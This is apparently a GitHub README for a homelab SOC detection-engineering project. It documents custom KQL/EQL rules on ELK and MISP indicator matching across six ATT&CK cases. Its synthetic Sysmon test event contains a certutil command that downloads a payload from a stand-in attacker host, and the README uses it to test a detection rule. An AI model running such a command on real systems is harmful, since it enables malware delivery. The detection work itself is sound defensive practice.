heraclescap/soc-lab-detection-engineering
GitHub: heraclescap/soc-lab-detection-engineering
基于 ELK Stack 的家庭 SOC 检测工程实验项目,通过六个案例演示如何编写 KQL/EQL 自定义检测规则并结合 MISP 威胁情报进行 SOC 告警覆盖。
Stars: 1 | Forks: 0
# Homelab SOC - ELK 8.19.16 上的 Detection Engineering
该仓库记录了在我的 homelab SOC 中进行的六个 detection engineering 案例。其中四个案例遵循经典的行为分析工作流:我模拟一个已知的 ATT&CK 技术,检查是否有 Elastic 预置规则能检测到它;如果没有,我就编写一条自定义规则(KQL 或 EQL),然后将整个过程记录下来:包括成功之处、局限性以及已知的绕过方法。第五个案例记录了由 MISP feed 支持的 Indicator Match 规则,这属于一种不同的范式:将网络活动与已知的 IOCs 数据库进行关联,而不是单纯的行为检测。第六个案例结合了这两种方法,将 EQL 执行序列与上一个案例的 MISP 规则进行了关联。
完整的架构上下文(Elastic, Kibana, Logstash, Winlogbeat, Filebeat,以及目标 Windows VM 的部署)已在主仓库中记录:[soc-lab](https://github.com/heraclescap/soc-lab)。
## 方法论
对于行为分析案例(01 到 04 以及 06):
1. **假设**:明确我要检测的内容以及为什么该行为属于异常。
2. **数据源**:识别相关的 Sysmon 或 Windows Security Event ID、关键字段,并评估其可靠性(抗重命名能力、对 audit policy 的依赖性)。
3. **测试**:向 Elasticsearch 注入一条合成的 Sysmon 日志,并验证该事件是否在 Kibana Discover 中出现。
4. **规则**:首先检查 Elastic SIEM 是否有预置规则覆盖此场景。如果没有(或者预置规则针对的是在我的 pipeline 中未被填充的 ECS 字段),则编写自定义的 KQL 或 EQL 规则。
5. **验证**:确认告警已在 Kibana Security 的 Alerts 面板中触发。
6. **局限性**:记录已知的绕过方法和覆盖盲区。
案例 05(MISP Indicator Match)遵循不同的流程,详见其专属文件夹:不使用合成注入,而是通过从 feed 中获取的真实 IOC IP 建立 TCP 连接。
## 架构约束:使用 `winlog.event_data.*` 字段而非 `process.*`
该 pipeline 通过 **Winlogbeat → Logstash → Elasticsearch** 路由 Windows 日志。Logstash 无法执行 Winlogbeat 的原生 ingest pipelines(这些 pipeline 负责向 `process.*`、`network.*` 等 ECS 字段进行映射)。因此,**在这个实验环境中,标准的 ECS 字段从未被填充**。
因此,我在所有自定义规则中都使用了 `winlog.event_data.*`,以此替代规范的 ECS 字段。这是 pipeline 的结构性约束,而不是需要修复的配置错误。
| 标准 ECS 字段 | 本实验中的等效字段 |
|--------------------|------------------------------|
| `process.executable` | `winlog.event_data.Image` |
| `process.command_line` | `winlog.event_data.CommandLine` |
| `process.parent.executable` | `winlog.event_data.ParentImage` |
| `destination.ip` | `winlog.event_data.DestinationIp` |
## 测试方法:合成注入 Sysmon 日志
同时运行实验环境中的三个虚拟机(目标 Windows、Elastic Stack、SIEM)需要超过 16 GB 的 RAM —— 这在我的宿主机上是不可行的。因此,我选择通过 API REST (`curl`) **直接向 Elasticsearch 注入带有动态时间戳的合成 Sysmon 日志**。我手动构建日志,以精确复现真实 Sysmon 事件的结构(相同的字段、相同的 Event ID、相同的 channel),然后将其索引到 `soc-winlogbeat-*` 中。
这种方法验证了检测规则在真实数据结构上能否正常运行。它并没有验证端到端的 ingestion pipeline,也没有验证真实可执行文件的行为。每个案例的 README 中都明确指出了这一点。
Sysmon EID 1 (Process Create) 的结构示例:
```
curl -s -X POST "https://localhost:9200/soc-winlogbeat-test/_doc" \
-H "Content-Type: application/json" \
-u "elastic:" \
--cacert /etc/elasticsearch/certs/http_ca.crt \
-d '{
"@timestamp": "'"$(date -u +%Y-%m-%dT%H:%M:%S.000Z)"'",
"winlog": {
"channel": "Microsoft-Windows-Sysmon/Operational",
"provider_name": "Microsoft-Windows-Sysmon",
"event_id": "1",
"record_id": 4821,
"computer_name": "DFIR-PC",
"event_data": {
"UtcTime": "'"$(date -u +%Y-%m-%dT%H:%M:%S.000Z)"'",
"ProcessId": "4412",
"Image": "C:\\Windows\\System32\\certutil.exe",
"OriginalFileName": "CertUtil.exe",
"CommandLine": "certutil.exe -urlcache -split -f http://malicious.example/payload.exe C:\\Users\\Public\\payload.exe",
"CurrentDirectory": "C:\\Users\\jdupont\\Desktop\\",
"User": "DFIR-PC\\jdupont",
"IntegrityLevel": "High",
"Hashes": "MD5=C555B6D9E8A33B22C46A2F5E1BF3F4BE,SHA256=9E4AB4B5C2D1F3A7E8B9C0D1E2F3A4B5C6D7E8F9A0B1C2D3E4F5A6B7C8D9E0F1",
"ParentProcessId": "7832",
"ParentImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ParentCommandLine": "powershell.exe -NoProfile -ExecutionPolicy Bypass"
}
},
"agent": { "name": "DFIR-PC" },
"host": { "name": "DFIR-PC" }
}'
```
## 已记录案例
**行为检测**
| # | 案例 | ATT&CK 技术 | 语言 | Severity | 文件夹 |
|---|-----|-----------------|---------|----------|---------|
| 1 | CertUtil LOLBin - 可疑下载 | T1105 + T1140 | KQL | Medium | [case-01-certutil-lolbin](./case-01-certutil-lolbin/) |
| 2 | PowerShell Script Block Logging - 混淆代码 | T1059.001 + T1027 | KQL | High | [case-02-powershell-sbl](./case-02-powershell-sbl/) |
| 3 | 从 shell 创建 Scheduled Task | T1053.005 | EQL | High | [case-03-scheduled-task-persistence](./case-03-scheduled-task-persistence/) |
| 4 | LSASS 内存访问 (credential dumping) | T1003.001 | KQL | Critical | [case-04-lsass-credential-access](./case-04-lsass-credential-access/) |
| 6 | C2 链 - shell 后伴随出站连接 | T1059 + T1071 | EQL sequence | High | [case-06-c2-correlation-chain](./case-06-c2-correlation-chain/) |
**Threat intelligence 关联**
| # | 案例 | 检测来源 | 规则类型 | Severity | 文件夹 |
|---|-----|---------------------|--------------|----------|---------|
| 5 | MISP IoC Match - 与已知 IOC IP 的网络连接 | 通过 Filebeat 获取的 MISP Feed | Indicator Match | High | [case-05-misp-indicator-match](./case-05-misp-indicator-match/) |
## ATT&CK Navigator 覆盖率
可以将文件 [`navigator-layer.json`](./navigator-layer.json) 加载到 [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) 中(Open Existing Layer > Upload from local),以查看在 ATT&CK Enterprise v19 矩阵上的覆盖率。

## 这项工作证明了什么(以及它不涵盖什么)
**我实际证明的内容:**
- 能够提出检测假设,识别正确的数据源,并编写能够从噪声中筛选出信号的查询。
- 深刻理解每种方法内在的局限性:通过重命名绕过、版本降级、注入到白名单进程,以及已知的 IOCs。
- 明确区分 KQL(足以查询单个事件中的多个字段)和 EQL(用于按时间关联不同的事件)。
- 理解行为检测与 threat intelligence 关联之间的区别,以及为什么两者是互补的。
**我不涵盖的内容:**
- 涵盖某项技术的所有实现方式。T1053.005 可以通过 `schtasks.exe`(此处已覆盖)、`Register-ScheduledTask`(PowerShell,未覆盖)或直接的 COM API 来实现 —— 每个向量都需要不同的规则。
- 已在实时执行的真实环境中进行过测试。这些日志是合成的,这验证了规则的逻辑,但并未验证整个 pipeline 的鲁棒性。
- 在生产环境中做到零误报。阈值、排除项和 risk scores 都是为单机测试环境校准的,如果在真实的生产部署环境中,则需要进行大量的调整。
将局限性与成功经验一样清晰地记录下来,是这项工作有意为之的一部分。
标签:Elasticsearch, 内容过滤, 威胁情报, 安全运营, 开发者工具, 扫描框架, 越狱测试